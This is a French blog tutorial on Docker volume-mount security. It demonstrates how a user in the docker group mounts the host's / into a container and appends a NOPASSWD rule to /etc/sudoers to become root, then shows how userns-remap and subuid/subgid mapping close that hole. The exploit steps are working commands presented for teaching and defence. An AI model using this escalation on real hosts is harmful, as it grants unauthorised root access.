Sécurisation du montage de volume de docker
Bonjour aujourd'hui on va faire de la sécurité informatique.
Docker est un outils fantastique mais peut devenir la pire des failles de sécurité.
On va découper l'article en 2 parties:
- D'abord l'exploit qui permet l'escalade de privilèges
- Comment combler cette faille
Mise en place de l'exploit
Je vais faire ma démo sur une Ubuntu 20.04
Via l'utilisateur priviligé (root ou sudo).
On installe docker
apt install docker.io
On créé un utilisateur non-priviligié, sans homedir et sans login.
adduser --no-create-home --disabled-password --disabled-login alice
On ajoute l'utilisateur alice
au group docker
usermod -aG docker alice
On créé un dossier de travail
mkdir -p /opt/work
On donne l'ownership de ce dossier à alice
chown alice:alice /opt/work
On va maintenant devenir alice
su alice
On vérifie qu'on est bien alice
$ id
uid=1000(alice) gid=119(docker) groups=119(docker),1000(alice)
Vérifions qu'on a 0 droit priviligié.
$ echo test >> /flag
bash: /flag: Permission denied
Bon visiblement on est pas root.
On vérifie que l'on a le droit d'utiliser docker
$ docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
Direction le dossier de travail
cd /opt/work
Maintenant on créé ce Dockerfile, il va nous permettre d'utiliser notre volume. J'utilise l'image ubuntu
pour avoir un shell, mais on peut le faire avec toute sorte d'image de la plus simple à la plus compliquée.
FROM ubuntu
ENV WORKDIR /opt/workdir
RUN mkdir -p $WORKDIR
VOLUME [ $WORKDIR ]
WORKDIR $WORKDIR
Construisons notre joli cheval de Troie.
docker build -t trojan .
Maintenant on va faire un truc rigolo ( pas pour la machine cible 😋 ).
On va monter /
dans notre container!
docker run -it -v /:/opt/workdir trojan bash
Et là on commence à jouer 😋
Avec le shell du container
# echo "I was here" > /opt/workdir/flag
Pas de denied! 😨
C'est pas le pire, connectez vous avec une autre session utilisateur priviligié sur le serveur hôte de docker.
# cat /flag
I was here
Bon on vient d'écrire dans /
depuis un container en lançant celui-ci avec un utilisateur non-privilégié.
Mais il y a bien pire !! Même si on est déjà game over !!!
echo "alice ALL=(ALL) NOPASSWD: ALL" >> /opt/workdir/etc/sudoers
Oui visudo
c'est là pour la décoration!
On sort du container.
Puis
sudo su
# id
uid=0(root) gid=0(root) groups=0(root)
Et voilà c'est la fin des temps. Vous laissez un utilisateur runner un container et il devient root !
On sécurise
Heureusement il y a une parade à tout ça. Et ceci s'appelle le userns-remap
.
L'idée de base est simple, si le container n'a pas explicitement le droit de monter un dossier de l'host on remap l'utilisateur du dossier vers un autre utilisateur.
Cela à pour effet de passer en readonly le montage.
En utilisant votre session priviligiée.
Tout d'abord on défini un fichier /etc/docker/daemon.json
. S'il n'existe pas déjà, vous devez le créer.
{
"userns-remap": "default"
}
Ensuite vous devez redémarrer le service docker
service docker restart
Deux fichier ont été créé/mise à jour.
# cat /etc/subuid
alice:100000:65536
dockremap:165536:65536
# cat /etc/subgid
alice:100000:65536
dockremap:165536:65536
Ce que signifie c'est fichier c'est que les uid des utilisateurs du système hôte sont remappé dans les containers vers des uid/gid différents, dans le cas présent le 65536
.
Or cette utilisateur n'aura aucun moyen de se faire passer pour le root 0 de la machine hôte et donc aucun moyen de modifier le /
.
Un autre phénomène est apparu aussi. Un dossier de namespace a été créé.
# ls -la /var/lib/docker
...
drwx------ 14 165536 165536 4096 Mar 8 10:46 165536.165536
...
Il appartient à l'utilisateur 165536
. Si vous avez fait un peu de python dans votre vie, c'est l'équivalent d'un virtualenv.
Il contient une copie de la structure de /var/lib/docker
.
A ceci près que le dossier n'appartient pas à root
!
Retournons avec alice. (pensez bien à la retirer des sudoers).
Si on refait un coup de
docker images
C'est vide.
On est reparti
docker build -t trojan .
On monte /
de nouveau dans le container.
docker run -it -v /:/opt/workdir trojan bash
Avec le shell du container
Ah c'est étrange, il y a un utilisateur nobody
à la place de root
.
Continuons mais ça sent la poudre
# echo "I was here again" > /opt/workdir/flag
bash: /opt/workdir/flag: Permission denied
Oh beaucoup mieux !! 🤩
On essaie même pas sudoers, ça passera pas. :D
On vient de combler notre faille de sécu ^^
Bonus: Monter un volume légitime en écriture
C'est bien tout ça mais si je veux monter un dossier en écriture je fais comment ?
Pour le moment on ne peut pas.
Si vous créé un montage légitime avec l'utilisateur alice
mkdir -p /opt/work/data
touch /opt/work/data/test
Que vous montez ça
$ docker run -it -v $(pwd)/data:/opt/workdir trojan ls -la
total 8
drwxrwxr-x 2 nobody nogroup 4096 Mar 8 11:13 .
drwxr-xr-x 1 root root 4096 Mar 8 11:00 ..
-rw-rw-r-- 1 nobody nogroup 0 Mar 8 11:12 test
On a le même soucis, on est en nobody comme owner, et donc les accès en écriture seront interdit.
Si vous vous rappelez des
# cat /etc/subuid
alice:100000:65536
dockremap:165536:65536
# cat /etc/subgid
alice:100000:65536
dockremap:165536:65536
Je vous avais parlé de mapping
Ben on va se créer un mapping pour notre utilisateur alice
qui lui permettra de monter en écriture le volume mais sans lui permettre de monter /
en écriture aussi.
Dans un shell privilégié.
username="alice"
uid=$(id -u "$username")
gid=$(id -g "$username")
lastuid=$(( uid + 65536 ))
lastgid=$(( gid + 65536 ))
usermod --add-subuids "$uid"-"$lastuid" "$username"
usermod --add-subgids "$gid"-"$lastuid" "$username"
Ces deux commandes ont pour rôle de modifier ainsi les fichiers
# cat /etc/subuid
alice:1000:65537
dockremap:165536:65536
# cat /etc/subgid
alice:1000:65537
dockremap:165536:65536
On modifie ensuite le /etc/docker/daemon.json
en conséquence.
{
"userns-remap": "alice:alice"
}
On redémarre le service docker
service docker restart
Un nouveau namespace /var/lib/docker/1000.1000
se créé.
Dans le shell de alice
docker images
C'est vide de nouveau.
On est recréé l'image
docker build -t trojan .
On monte /
de nouveau dans le container.
docker run -it -v /:/opt/workdir trojan bash
On tente l'écriture
# echo "I was here again" > /opt/workdir/flag
bash: /opt/workdir/flag: Permission denied
Parfait, on a pas retroué la sécu du container. 😁
On quitte le container puis
docker run -it -v $(pwd)/data:/opt/workdir trojan bash
Dans le shell du container
# ls -la
total 8
drwxrwxr-x 2 root root 4096 Mar 8 11:13 .
drwxr-xr-x 1 root root 4096 Mar 8 11:00 ..
-rw-rw-r-- 1 root root 0 Mar 8 11:12 test
ça sent bon 😋
echo "I was here" > test
On quitte le container
# cat data/test
I was here
Yes 🥳
Conclusion
On vient d'apprendre à combler une faille majeure de docker et du montage de volume.
Je pense bien qu'il doit encore rester des montagnes d'exploit, mais ça sera tout pour aujourd'hui :D
Vous remercie de m'avoir lu et je vous dis à la prochaine ^^
Si je raconte des conneries, n'ésitez pas à me le dire en commentaires, je débute dans la sécu 😅
Ce travail est sous licence CC BY-NC-SA 4.0.